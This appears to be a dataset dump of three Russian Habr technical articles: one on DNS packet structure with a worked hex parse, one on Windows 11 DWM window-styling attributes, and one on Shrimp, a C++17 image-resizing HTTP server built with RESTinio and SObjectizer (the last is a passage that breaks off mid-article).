text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Структура DNS пакета
Предисловие
===========
Решил как то написать снифер DNS, так сказать just for fun. Просто посмотреть какие адреса в моей системе резолвятся. Протокол старый, документации должно быть много. Много. Но все статьи очень не полные и заканчиваются, на самом интересном моменте. Да, есть rfc1035, но хотелось бы на русском и с пояснениями. Собственно по накоплению опыта и разбора пакета и созрела данная статья. Она рассчитана на тех, кто понимает, что такое DNS и понимает, что бывают запросы и ответы. Для тех, кто хочет немного разобраться в структуре данного протокола.
Статья предполагает теорию, а потом немного практики.
Структура пакета DNS
====================
```
+---------------------+
| Header | Заголовок
+---------------------+
| Question | Секция запросов
+---------------------+
| Answer | Секция ответа
+---------------------+
| Authority | Секция ответа об уполномоченных серверах
+---------------------+
| Additional | Секция ответа дополнительных записей
+---------------------+
```
**Header** — Заголовок DNS пакета, состоящий из 12 октет.
**Question section** — в этой секции DNS-клиент передает запросы DNS-серверу сообщая о том, для какого имени необходимо разрешить (зарезолвить) запись DNS, а также какого типа (NS, A, TXT и т.д.). Сервер при ответе, копирует эту информацию и отдает клиенту обратно в этой же секции.
**Answer section** — сервер сообщает клиенту ответ или несколько ответов на запрос, в котором сообщает вышеуказанные данные.
**Authoritative Section** — содержит сведения о том, с помощью каких авторитетных серверов было получена информация включенная в секцию DNS-ответа.
**Additional Record Section** — дополнительные записи, которые относятся к запросу, но не являются строго ответами на вопрос.
Записей в секциях может быть как несколько, так и не быть вообще. Всё определяется заголовком.
Структура заголовка DNS
=======================
```
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
**ID** (16 бит) — данное поле используется как уникальный идентификатор транзакции. Указывает на то, что пакет принадлежит одной и той же сессии “запросов-ответов” и занимает 16 бит.
**QR** (1 бит) — данный бит служит для индентификации того, является ли пакет запросом (QR = 0) или ответом (QR = 1).
**Opcode** (4 бита) — с помощью данного кода клиент может указать тип запроса, где обычное значение:
* 0 — стандартный запрос,
* 1 — инверсный запрос,
* 2 — запрос статуса сервера.
* 3-15 – зарезервированы на будущее.
**AA** (1 бит) — данное поле имеет смысл только в DNS-ответах от сервера и сообщает о том, является ли ответ авторитетным либо нет.
**TC** (1 бит) — данный флаг устанавливается в пакете ответе в том случае если сервер не смог поместить всю необходимую информацию в пакет из-за существующих ограничений.
**RD** (1 бит) — этот однобитовый флаг устанавливается в запросе и копируется в ответ. Если он флаг устанавливается в запросе — это значит, что клиент просит сервер не сообщать ему промежуточных ответов, а вернуть только IP-адрес.
**RA** (1 бит) — отправляется только в ответах, и сообщает о том, что сервер поддерживает рекурсию
**Z** (3 бита) — являются зарезервированными и всегда равны нулю.
**RCODE** (4 бита) — это поле служит для уведомления клиентов о том, успешно ли выполнен запрос или с ошибкой.
* 0 — значит запрос прошел без ошибок;
* 1 — ошибка связана с тем, что сервер не смог понять форму запроса;
* 2 — эта ошибка с некорректной работой сервера имен;
* 3 — имя, которое разрешает клиент не существует в данном домене;
* 4 — сервер не может выполнить запрос данного типа;
* 5 — этот код означает, что сервер не может удовлетворить запроса клиента в силу административных ограничений безопасности.
**QDCOUNT**(16 бит) – количество записей в секции запросов
**ANCOUNT**(16 бит) – количество записей в секции ответы
**NSCOUNT**(16 бит) – количество записей в Authority Section
**ARCOUNT**(16 бит) – количество записей в Additional Record Section
Структура секции запроса
========================
```
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| |
/ QNAME /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QTYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QCLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
**QNAME** — Каждая запись запроса и ответа начинается с NAME. Это доменное имя, к которому привязана или которому “принадлежит” данная запись. Она закодирована как серия меток. На этом моменте следует остановиться несколько поподробнее.
В статьях, что я видел, забывают сказать, что исходный протокол DNS предусматривает два типа меток, которые определяются первыми двумя битами:
00 (стандартная метка) – значит, остальные 6 бит определяют длину метки, за которым следует данное количество октетов. Соответственно, длина метки не может быть более 63 байта (Например, nslookup выдаст сообщение “is not a legal name (label too long)” при попытке отрезолвить хост с длинной меткой). Заканчивается запись кодом 0x00.
11 (сжатая метка) – тогда последующие 14 бит определяют ссылку на начальный адрес серии меток. Как показал опыт, может так же содержать сжатую метку на другой адрес. В запросе, как правило, таких меток нет.
Так же метка может содержать значение 0x00 (нулевая длина), означает что это корневое доменное имя (root).
Максимальная длина NAME <= 255. Это создано ради простоты реализации.
**QTYPE** — Тип записи DNS, которую мы ищем (NS, A, TXT и т.д.).
**QCLASS** — Определяющий класс запроса (IN для Internet).
Структура секции ответов
========================
```
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| |
/ /
/ NAME /
| |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| TYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| CLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| TTL |
| |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| RDLENGTH |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
/ RDATA /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
**NAME** — Такой же формат, что и QNAME в секции запроса.
**TYPE** — тип ресурсной записи. Определяет формат и назначение данной ресурсной записи.
**CLASS** — класс ресурсной записи; теоретически считается, что DNS может использоваться не только с TCP/IP, но и с другими типами сетей, код в поле класс определяет тип сети. В основном IN для Internet (Код 0x0001)
**TTL** — (Time To Live) — допустимое время хранения данной ресурсной записи в кэше неответственного DNS-сервера.
**RDLENGTH** — длина поля данных (RDATA).
**RDATA** — поле данных, формат и содержание которого зависит от типа записи.
Практика
========
Рассмотрим пакет из реального запроса и ответа. Запускаем любимый снифер и резолвим habrahabr.ru.
**Запрос**
Разберем структуру dns заголовка.
**ID транзакции** = 0x9bce
Далее идут флаги. 01 00 представим как двоичное значение 0’0000’0’0’1’0’000’0000 (здесь и далее я разделяю биты апострофом для лучшего визуального представления деления флагов)
**QR**=0 — значит этот пакет является запросом;
**Opcode**=0000 – Стандартный запрос;
**AA**=0 — данное поле имеет смысл только в DNS-ответах, поэтому всегда 0;
**TC**=0 — данное поле имеет смысл только в DNS-ответах, поэтому всегда 0;
**RD**=1 – Просим вернуть только IP адрес;
**RA**=0 – отправляется только сервером;
**Z**=000 – всегда нули, зарезервированное поле;
**RCODE**=0000 – Все прошло без ошибок
**QDCOUNT**=00 01 – 1 запись в секции запросов
**ANCOUNT**=00 00 – В запросе всегда 0, секция для ответов
**NSCOUNT**=00 00 – В запросе всегда 0, секция для ответов
**ARCOUNT**=00 00 – В запросе всегда 0, секция для ответов
Дальше у нас идет секции запросов и ответов. С одной записью.
Первым октетом у нас идет 0x09, представим его как двоичное значение 00’001001. Первые два бита идут 00, это значит что это обычная метка. Длина метки 9 байт (b001001). “68 61 62 72 61 68 61 62 72”. Вот эти 9 байт. Тут написано “habrahabr” (в 16-ричном виде). Идем дальше. Октет 0x02. Первых два бита 00, значит снова обычная метка с длиной 2 байта. Вот они: “72 75”. Написано “ru”. Идем дальше. Октет 0x00. Значит конец записи хоста. Мы получили два слова “habrahabr” и “ru”. Объединяем их точкой, получаем “habrahabr.ru”, это и есть хост который мы запросили.
**QTYPE**=0x0001 – Соответствует типу A (запрос адреса хоста)
**QCLASS**=0x0001 – Соответствует классу IN.
**Ответ**
Разберем структуру dns заголовка.
**ID транзакции** = 0x9bce. Она должна быть ровна ID от запроса.
Снова флаги. 81 80 представим как двоичное значение 1’0000’0’0’1’1’000’0000
**QR**=1 — значит этот пакет является ответом;
**Opcode**=0000 – Стандартный запрос;
**AA**=0 – Сервер не является авторитетным для домена;
**TC**=0 – Вся информация поместилась в один пакет;
**RD**=1 – Просим вернуть только IP адрес;
**RA**=1 – Сервер поддерживает рекурсию;
**Z**=000 – всегда нули, зарезервированное поле;
**RCODE**=0000 – Все прошло без ошибок
**QDCOUNT**=00 01 – 1 запись в секции запросов
**ANCOUNT**=00 01 – Теперь у нас появилась одна запись в ответе
**NSCOUNT**=00 00 – В запросе всегда 0, секция для ответов
**ARCOUNT**=00 00 – В запросе всегда 0, секция для ответов
Дальше у нас идет секции запросов и ответов. С двумя записями. Одна запись запроса, другая запись с ответом. Расписывать секцию запрос я не буду, он будет всегда 1в1 такой же, как и в пакете запроса. Приступим с секции ответов.
Первым октетом у нас идет 0x09, два первых бита 00, значит обычная метка с длиной 9 байт. Читаем 9 байт, получаем “HABRAHABR”. Далее идет 0XC0 (b11000000). Как видим, первые два бита имеют значение 11, это значит что перед нами сжатая ссылка. Смотрим следующие 8 бит (это у нас 0x16 (b00010110)) и объединяем с текущими последними 6бит. Получаем b00000000010110. Ссылка на 22ой байт пакета DNS (02 72 75 00). Начиная с 22 октета, снова получаем метки. По тем же правилам. У нас это получается “.ru”. Объединяем всё что получили, получается “HABRAHABR.ru” Это и есть хост о котором пойдет дальше речь.
**QTYPE** = 0x0001 – Соответствует типу A (запрос адреса хоста)
**QCLASS** = 0x0001 – Соответствует классу IN.
**TTL** = 0x00000c90 – время актуальности данных 3216 секунд.
**RDLENGTH** = 0x0004 – Длина данных 4 октета.
**RDATA** = «b2 f8 ed 44».
Как уже было сказано, формат и содержание зависит от типа записи. Тип записи у нас “A”. Значит, чтобы получить IP мы должны считать 4 байта. Каждый байт это и будет соответствующий октет IP адреса, записанный в 16ричном виде.
Получаем IP: b2.f8.ed.44 или «178.248.237.68». Что и требовалось получить.
Например, для типа NS, формат был бы такой:
```
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
/ NSDNAME /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
И считывали мы бы имя по правилам QNAME. | https://habr.com/ru/post/478652/ | null | ru | null |
# Новые возможности в WinAPI на Windows 11
С выходом новой операционной системы, у Microsoft изменились приоритеты в дизайне - теперь у интерфейса появились анимации, да и в целом он стал менее острым. В данной статье я поделюсь некоторыми фишками, с которыми столкнулся в процессе работы с WinAPI.
Все параметры в этой статье появились с выходом сборки **22000**. И используются с помощью DWM, вызывая функцию `DwmSetWindowAttribute`.
Оформление Mica
---------------
Пример дизайна Mica с сайта Microsoft**Mica** - это новый стиль в Windows 11, пришедший на замену Fluent. По словам Microsoft, он разрабатывался так, чтобы дать пользователю максимальную производительность. В отличие от своего предшественника, Mica можно включить в WinApi приложениях без особых костылей.
Сделать это можно, используя переменную, которая официально не задокументирована - `DWMWA_MICA_EFFECT`. Она имеет значение `1029`.
Вот как его использовать на практике:
```
#define DWMWA_MICA_EFFECT DWORD(1029); // Mica
int useMica = 1;
DwmSetWindowAttribute(hwnd, DWMWA_MICA_EFFECT, &useMica, sizeof(int));
```
Эффект Mica на окне WPFК сожалению, Microsoft сообщили, что в будущих релизах Windows данный способ работать не будет.
Поэтому, начиная со сборки **22523**, на смену пришёл другой способ, с небольшим бонусом в виде новых стилей:
```
const auto DWMSBT_DISABLE = 1 // Default
const auto DWMSBT_MAINWINDOW = 2 // Mica
const auto DWMSBT_TRANSIENTWINDOW = 3 // Acrylic
const auto DWMSBT_TABBEDWINDOW = 4 // Tabbed
DwmSetWindowAttribute(hwnd,
DWMWA_SYSTEMBACKDROP_TYPE, &DWMSBT_MAINWINDOW,
sizeof(int));
```
Параметр не имеет ограничений по использованию, поэтому его можно натянуть на любое окно. *(Этим воспользовались в Microsoft, и наконец немного изменили дизайн проводника)*
Для C#, например, существует несколько библиотек, нацеленных на симулирование элементов управления из Mica в WPF.
WPF приложение с дизайном MicaИзменение цвета окна
--------------------
Продолжаем список изменений в Dwm... Следующим идёт небольшой набор параметров для изменения цвета заголовка, текста на нём, и границ самого окна.
* `DWMWA_CAPTION_COLOR` - Цвет заголовка
* `DWMWA_TEXT_COLOR` - Цвет текста в заголовке
* `DWMWA_BORDER_COLOR` - Цвет границы окна
Вот небольшой пример использования:
```
#define DWMWA_BORDER_COLOR DWORD(34)
#define DWMWA_TEXT_COLOR DWORD(36)
#define DWMWA_CAPTION_COLOR DWORD(35)
auto caption = RGB(45, 80, 45);
auto text = RGB(20, 180, 180);
auto border = RGB(255, 0, 0);
DwmSetWindowAttribute(hwnd, DWMWA_CAPTION_COLOR, &caption, sizeof(COLORREF));
DwmSetWindowAttribute(hwnd, DWMWA_TEXT_COLOR, &text, sizeof(COLORREF));
DwmSetWindowAttribute(hwnd, DWMWA_BORDER_COLOR, &border, sizeof(COLORREF));
```
Пример использования цветов окнаВ результате может получиться такой вот кошмар дизайнера...
Кстати, это нововведение уже долгое время использует десктопный клиент Telegram.
Стоит сказать, что до появления всех этих параметров, приходилось создавать своё оформление окна, рисовать кнопки, накидывать на это обработку сообщения WM\_NCHITTEST, а так же решать проблемы с анимацией Aero... В общем, жить стало проще.
Закругление окна
----------------
Вам не нравятся новые закруглённые окна в Windows 11? Тогда у Microsoft есть решение - параметр `DWMWA_WINDOW_CORNER_PREFERENCE`!
У него есть целых три значения:
* `0`/`2` - Обычный
* `3` - Чуть закруглённый
* `1` - Квадратный
```
#define DWMWA_WINDOW_CORNER_PREFERENCE DWORD(33);
const auto DWMWCP_DONOTROUND = 1; // Rectangular
const auto DWMWCP_ROUND = 2; // Default
const auto DWMWCP_ROUNDSMALL = 3; // Semi-rounded
DwmSetWindowAttribute(hwnd,
DWMWA_WINDOW_CORNER_PREFERENCE, &DWMWCP_DONOTROUND,
sizeof(int));
```
Сравнение закруглений: Квадратный, Обычный, Чуть круглыйВозможно, этот параметр был добавлен Microsoft для личного использования. Ведь если развернуть окно на половину или четверть экрана, то его углы так же станут квадратными.
Заключение
----------
Это не все нововведения в кастомизации внешнего вида окон. "За кадром" остались параметры для изменения толщины границы, и отзеркаливания всего окна. Но это очень специфические возможности, о которых я решил не рассказывать.
Надеюсь, для кого-то эта статья окажется полезной. | https://habr.com/ru/post/658067/ | null | ru | null |
# Shrimp: масштабируем и раздаем по HTTP картинки на современном C++ посредством ImageMagic++, SObjectizer и RESTinio
Предисловие
===========
Наша небольшая команда занимается развитием двух OpenSource инструментов для C++разработчиков — акторного фреймворка [SObjectizer](https://stiffstream.com/ru/products/sobjectizer.html) и встраиваемого HTTP-сервера [RESTinio](https://stiffstream.com/ru/products/restinio.html). При этом мы регулярно сталкиваемся с парой нетривиальных вопросов:
* какие фичи добавлять в библиотеку, а какие оставлять «за бортом»?
* как наглядно показывать «идеологически правильные» способы использования библиотеки?
Хорошо, когда ответы на такие вопросы появляются по ходу использования наших разработок в реальных проектах, когда разработчики приходят к нам со своими жалобами или хотелками. За счет удовлетворения хотелок пользователей мы наполняем свои инструменты функциональностью, которая продиктована самой жизнью, а не «высосана из пальца».
Но до нас доходит информация далеко не о всех проблемах и сложностях, с которыми сталкиваются пользователи. И не всегда мы можем использовать полученную информацию и, особенно, примеры кода, в своих публичных материалах.
Поэтому иногда мы сами для себя выдумываем небольшие задачки, решая которые мы вынужденно превращаемся из разработчиков инструментов в пользователей. Это позволяет нам взглянуть на собственные инструменты другими глазами и самим понять, что хорошо, что не очень, чего не хватает, а чего слишком много.
Сегодня мы хотим рассказать как раз об одной такой «небольшой» задачке, в которой естественным образом объединились SObjectizer и RESTinio.
Масштабирование и раздача картинок. Почему именно это?
======================================================
В качестве небольшой демо-задачи для самих себя мы выбрали HTTP-сервер, который раздает по запросам отмасштабированные картинки. Вы складываете изображения в какой-то каталог, запускаете HTTP-сервер, делаете к нему запрос вида:
```
curl "http://localhost:8080/my_picture.jpg?op=resize&max=1920"
```
и получаете в ответ картинку, отмасштабированную до 1920 пикселей по длинной стороне.
На эту задачу выбор пал потому, что она отлично демонстрирует сценарии, ради которых мы в свое время начали разрабатывать RESTinio: есть давно работающий и отлаженный код на C или C++ к которому нужно приделать HTTP-вход и начать отвечать на входящие запросы. При этом, что важно, прикладная обработка запроса может занимать значительное время и поэтому невыгодно дергать прикладной код прямо на IO-контексте. HTTP-сервер должен быть асинхронным: принять и разобрать HTTP-запрос, отдать разобранный запрос куда-то для дальнейшей прикладной обработки, перейти к обслуживанию следующего HTTP-запроса, вернуться к отдаче ответа на HTTP-запрос когда этот ответ будет кем-то подготовлен.
Именно это и происходит при обработке запросов на масштабирование картинок. HTTP-сервер способен выполнить свою непосредственную работу (т.е. чтение данных, парсинг HTTP-запроса) за доли миллисекунд. А вот масштабирование картинки может занимать десятки, сотни, а то и тысячи миллисекунд.
А раз на масштабирование одной картинки может потребоваться много времени, то нужно сделать так, чтобы HTTP-сервер мог продолжать свою работу пока картинка масштабируется. Для этого нам потребуется разнести работу HTTP-сервера и масштабирования картинок на разные рабочие контексты. В простом случае это будут разные рабочие нити. Ну а поскольку мы живем во время многоядерных процессоров, то рабочих нитей у нас будет несколько. Часть из них будет обслуживать HTTP-запросы, часть — работу с картинками.
Получается, что для раздачи по HTTP отмасштабированных картинок нам нужно и переиспользовать давно написанный, работающий C/С++ код (в данном случае ImageMagic++), и асинхронно обслуживать HTTP-запросы, и выполнять прикладную обработку запросов в несколько рабочих потоков. Отличная задача для RESTinio и SObjectizer-а, как нам показалось.
А назвать свой демо-проект мы решили shrimp.
Shrimp как он есть
==================
Что делает Shrimp?
------------------
Shrimp запускается как консольное приложение, открывает и слушает указанный порт, принимает и обрабатывает HTTP GET-запросы вида:
```
/.
/.?op=resize&=
```
Где:
* image — это имя файла с картинкой для масштабирования. Например, my\_picture или DSCF0069;
* ext — это одно из поддерживаемых shrimp-ом расширений (jpg, jpeg, png или gif);
* side — это указание стороны для которой задается размер. Может иметь либо значение width, в этом случае картинка масштабируется так, чтобы результирующая ширина была равна заданному значению, высота картинки выбирается автоматически с сохранением пропорций. Либо значение height, в этом случае масштабирование происходит по высоте. Либо max, в этом случае ограничивается длинная сторона, а shrimp сам определяет, является ли длинная сторона высотой или шириной;
* value — это размер, под который происходит масштабирование.
Если в URL задано только имя файла, без операции resize, то shrimp просто отдает в ответе исходную картинку. Если же указана операция resize, то shrimp изменяет размер запрошенной картинки и отдает отмасштабированную версию.
При этом shrimp держит в памяти кэш отмасштабированных картинок. Если повторно запрашивается картинка с такими же параметрами resize, которая уже есть в кэше, то в ответ отдается значение из кэша. Если же картинки в кэше нет, то картинка считывается с диска, масштабируется, сохраняется в кэше и возвращается в ответе.
Кэш периодически очищается. Из него выталкиваются картинки, которые прожили в кэше больше часа с момента последнего обращения к ним. Так же самые старые картинки выбрасываются из кэша, если кэш превышает свой максимальный размер (в демо-проекте это 100Mb).
Мы подготовили [страничку](https://stiffstream.com/en/shrimp-demo.html), зайдя на которую любой желающий может поэкспериментировать со shrimp-ом:
На этой страничке можно задать размер картинки и нажать «Resize». Будет сделано два запроса к shrimp-серверу с одинаковыми параметрами. Скорее всего, первый запрос будет уникальным (т.е. картинки с такими параметрами resize в кэше еще не будет), поэтому при первом запросе будет потрачено время на реальное масштабирование изображения. А второй запрос, скорее всего, найдет уже отмасштабированную картинку в кэше и отдаст ее сразу же.
Судить о том, отдана ли картинка из кэша или же была реально отмасштабирована можно по тексту под картинкой. Например, текст «Transformed (114.0ms)» говорит о том, что картинка была отмасштабирована и операция масштабирования заняла 114 миллисекунд.
Как Shrimp это делает?
----------------------
Shrimp — это многопоточное приложение, которое запускает три группы рабочих нитей:
1. Пул рабочих нитей, на которых работает HTTP-сервер. На этом пуле обслуживаются новые подключения, принимаются и разбираются входящие запросы, формируются и отсылаются ответы. HTTP-сервер реализован посредством библиотеки RESTinio.
2. Отдельная рабочая нить, на которой работает SObjectizer-овский агент transform\_manager. Этот агент обрабатывает полученные от HTTP-сервера запросы и поддерживает кэш отмасштабированных изображений.
3. Пул рабочих нитей на которых работают SObjectizer-овские агенты transformer-ы. Именно они выполняют реальное масштабирование картинок с помощью ImageMagic++.
Получается следующая схема работы:
HTTP-сервер принимает входящий запрос, разбирает его, проверяет корректность. Если этот запрос не требует операции resize, то сам HTTP-сервер обрабатывает запрос посредством операции [sendfile](http://man7.org/linux/man-pages/man2/sendfile.2.html). Если же запрос требует операции resize, то запрос асинхронно отсылается агенту transform\_manager.
Агент transform\_manager получает запросы от HTTP-сервера, проверяет наличие уже отмасштабированных картинок в кэше. Если картинка в кэше есть, то transform\_manager сразу же формирует ответ для HTTP-сервера. Если картинки нет, то transform\_manager отсылает запрос на масштабирование картинки одному из агентов transformer. Когда от transformer-а приходит результат масштабирования, то результат сохраняется в кэше и формируется ответ для HTTP-сервера.
Агент transformer получает запросы от transform\_manager-а, обрабатывает их и возвращает результат трансформации обратно агенту transform\_manager.
Что у Shrimp-а под капотом?
---------------------------
Исходный код самой минималистичной версии shrimp-а, описанной в данной статье, можно найти вот в этом репозитории: [shrimp-demo на BitBucket-а](https://bitbucket.org/sobjectizerteam/shrimp-demo) или [на GitHub-е](https://github.com/Stiffstream/shrimp-demo).
Кода довольно много, хотя, по большей части, в этой версии shrimp-а код достаточно тривиален. Тем не менее, имеет смысл заострить внимание на некоторых аспектах реализации.
### Использование C++17 и самых свежих версий компиляторов
В реализации shrimp-а мы решили использовать C++17 и самые свежие версии компиляторов, в частности GCC 7.3 и 8.1. Проект в большой степени исследовательский. Поэтому практическое знакомство C++17 в рамках такого проекта — это естественно и допустимо. Тогда как в более приземленных разработках, ориентированных на практическое промышленное применение здесь и сейчас, мы вынуждены оглядываться на довольно старые компиляторы и использовать разве что C++14, а то и всего лишь подмножество C++11.
Нужно сказать, что C++17 производит приятное впечатление. Вроде бы в коде shrimp-а мы не так уж и много нововведений из семнадцатого стандарта задействовали, но положительный эффект от них почувствовать довелось: атрибут [[nodiscard]], std::optional/std::variant/std::filesystem прямо «из коробки», а не из внешних зависимостей, structured binding, if constexpr, возможность собрать на лямбдах visitor для std::visit… По отдельности это все мелочи, но в совокупности производят мощный кумулятивный эффект.
Так что первый полезный результат, который мы получили разрабатывая shrimp: С++17 стоит того, чтобы на него перейти.
### HTTP-сервер средствами RESTinio
Пожалуй, самой простой частью shrimp-а оказался HTTP-сервер и обработчик HTTP GET-запросов ([http\_server.hpp](https://bitbucket.org/sobjectizerteam/shrimp-demo/src/v0.2/dev/shrimp/http_server.hpp) и [http\_server.cpp](https://bitbucket.org/sobjectizerteam/shrimp-demo/src/v0.2/dev/shrimp/http_server.cpp)).
#### Прием и диспетчеризация входящих запросов
По сути, вся основная логика shrimp-овского HTTP-сервера сосредоточена в этой функции:
```
void
add_transform_op_handler(
const app_params_t & app_params,
http_req_router_t & router,
so_5::mbox_t req_handler_mbox )
{
router.http_get(
R"(/:path(.*)\.:ext(.{3,4}))",
restinio::path2regex::options_t{}.strict( true ),
[req_handler_mbox, &app_params]( auto req, auto params )
{
if( has_illegal_path_components( req->header().path() ) )
{
return do_400_response( std::move( req ) );
}
const auto opt_image_format = image_format_from_extension(
params[ "ext" ] );
if( !opt_image_format )
{
return do_400_response( std::move( req ) );
}
if( req->header().query().empty() )
{
return serve_as_regular_file(
app_params.m_storage.m_root_dir,
std::move( req ),
*opt_image_format );
}
const auto qp = restinio::parse_query( req->header().query() );
if( "resize" != restinio::value_or( qp, "op"sv, ""sv ) )
{
return do_400_response( std::move( req ) );
}
handle_resize_op_request(
req_handler_mbox,
*opt_image_format,
qp,
std::move( req ) );
return restinio::request_accepted();
} );
}
```
Эта функция подготавливает обработчик HTTP GET-запросов с использованием реализованного в RESTinio [ExpressJS-роутера](https://stiffstream.com/en/docs/restinio/0.4/expressrouter.html). Когда HTTP-сервер получает GET-запрос, URL-которого попадает под заданное регулярное выражение, то вызывается заданная лямбда-функция.
Эта лямбда функция делает несколько простых проверок корректности запроса, но в главном, ее работа сводится к простому выбору: если режим resize не задан, то запрошенная картинка будет возвращена в своем исходном виде с помощью эффективного системного sendfile. Если же режим resize задан, то формируется и отсылается сообщение агенту transform\_manager:
```
void
handle_resize_op_request(
const so_5::mbox_t & req_handler_mbox,
image_format_t image_format,
const restinio::query_string_params_t & qp,
restinio::request_handle_t req )
{
try_to_handle_request(
[&]{
auto op_params = transform::resize_params_t::make(
restinio::opt_value< std::uint32_t >( qp, "width" ),
restinio::opt_value< std::uint32_t >( qp, "height" ),
restinio::opt_value< std::uint32_t >( qp, "max" ) );
transform::resize_params_constraints_t{}.check( op_params );
std::string image_path{ req->header().path() };
so_5::send<
so_5::mutable_msg>(
req\_handler\_mbox,
std::move(req),
std::move(image\_path),
image\_format,
op\_params );
},
req );
}
```
Получается, что HTTP-сервер, приняв resize-запрос, отдает его агенту transform\_manager посредством асинхронного сообщения, а сам продолжает обслуживать другие запросы.
#### Раздача файлов с помощью sendfile
Если HTTP-сервер обнаруживает запрос на исходную картину, без операции resize, то сервер сразу же отдает эту картинку посредством операции sendfile. Основной связанный с этим код выглядит следующим образом (полный код этой функции можно найти [в репозитории](https://bitbucket.org/sobjectizerteam/shrimp-demo/src/89afaf49c9940b616d5e11950fafd870a01035d4/dev/shrimp/response_common.cpp#lines-84)):
```
[[nodiscard]]
restinio::request_handling_status_t
serve_as_regular_file(
const std::string & root_dir,
restinio::request_handle_t req,
image_format_t image_format )
{
const auto full_path =
make_full_path( root_dir, req->header().path() );
try
{
auto sf = restinio::sendfile( full_path );
...
return set_common_header_fields_for_image_resp(
file_stat.st_mtim.tv_sec,
resp )
.append_header(
restinio::http_field::content_type,
image_content_type_from_img_format( image_format ) )
.append_header(
http_header::shrimp_image_src,
image_src_to_str( http_header::image_src_t::sendfile ) )
.set_body( std::move( sf ) )
.done();
}
catch(...) {}
return do_404_response( std::move( req ) );
}
```
Ключевой момент здесь — это вызов [restinio::sendfile()](https://stiffstream.com/en/docs/restinio/0.4/sendfile.html), а затем передача возвращенного данной функцией значения в set\_body().
Функция restinio::sendfile() создает операцию отдачи файла с помощью системного API. Когда эта операция передается в set\_body(), то RESTinio понимает, что для тела HTTP-ответа будет использовано содержимое заданного в restinio::sendfile() файла. После чего задействует системный API для записи содержимого этого файла в TCP-сокет.
### Реализация кэша картинок
Агент transform\_manager хранит кэш преобразованных картинок, куда помещаются изображения после масштабирования. Этот кэш представляет из себя простой самодельный контейнер, который предоставляет доступ к своему содержимому двумя способами:
1. Посредством поиска элемента по ключу (по аналогии с тем, как это происходит в стандартных контейнерах std::map и std::unordered\_map).
2. Посредством обращения к самому старому элементу кэша.
Первый способ доступа используется когда нам нужно проверить наличие картинки в кэше. Второй — когда мы удаляем самые старые картинки из кэша.
Искать что-то готовое для этих целей в Интернетах мы не стали. Наверное, Boost.MultiIndex здесь вполне себе подошел бы. Но тащить Boost только ради MultiIndex-а не хотелось, поэтому сделали [свою тривиальную реализацию](https://bitbucket.org/sobjectizerteam/shrimp-demo/src/v0.2/dev/shrimp/cache_alike_container.hpp) буквально на коленке. Вроде бы работает ;)
### Очередь ждущих запросов в transform\_manager
Агент transform\_manager, несмотря на свой довольно таки приличный объем ([hpp-файл](https://bitbucket.org/sobjectizerteam/shrimp-demo/src/v0.2/dev/shrimp/a_transform_manager.hpp) порядка 250 строк и [cpp-файл](https://bitbucket.org/sobjectizerteam/shrimp-demo/src/v0.2/dev/shrimp/a_transform_manager.cpp) порядка 270 строк), в простейшей реализации shrimp-а оказался, на наш взгляд, довольно тривиальным.
Один из моментов, который привносит заметную лепту в сложность и объем кода агента — это наличие в transform\_manager не только кэша трансформированных картинок, но еще и очереди ожидающих запросов.
У нас есть ограниченное количество агентов transformer-ов (в принципе, их количество должно приблизительно соответствовать количеству доступных вычислительных ядер). Если одномоментно приходит больше запросов, чем есть свободных transformer-ов, то мы можем либо сразу отрицательно ответить на запрос, либо поставить запрос в очередь. А потом взять из очереди, когда свободный transformer появится.
В shrimp-е мы используем очередь ждущих запросов, которая определяется следующим образом:
```
struct pending_request_t
{
transform::resize_request_key_t m_key;
sobj_shptr_t m\_cmd;
std::chrono::steady\_clock::time\_point m\_stored\_at;
pending\_request\_t(
transform::resize\_request\_key\_t key,
sobj\_shptr\_t cmd,
std::chrono::steady\_clock::time\_point stored\_at )
: m\_key{ std::move(key) }
, m\_cmd{ std::move(cmd) }
, m\_stored\_at{ stored\_at }
{}
};
using pending\_request\_queue\_t = std::queue;
pending\_request\_queue\_t m\_pending\_requests;
static constexpr std::size\_t max\_pending\_requests{ 64u };
```
При получении запроса мы помещаем его в очередь с фиксацией времени получения запроса. Затем мы периодически проверяем, не истекло ли время ожидания для этого запроса. Ведь, в принципе, может случится так, что ранее пришла пачка «тяжелых» запросов, обработка которых затянулась слишком надолго. Неправильно бесконечно ждать появление свободного transformer-а, лучше спустя какое-то время отослать клиенту отрицательный ответ, означающий, что сервис сейчас перегружен.
Для очереди ожидающих запросов так же есть ограничение на размер. Если очередь уже достигла своего максимального размера, то мы сразу же отказываемся обрабатывать запрос и говорим клиенту о том, что мы перегружены.
С очередью ожидающих запросов связан один важный момент, на котором мы заострим внимание в заключении к статье.
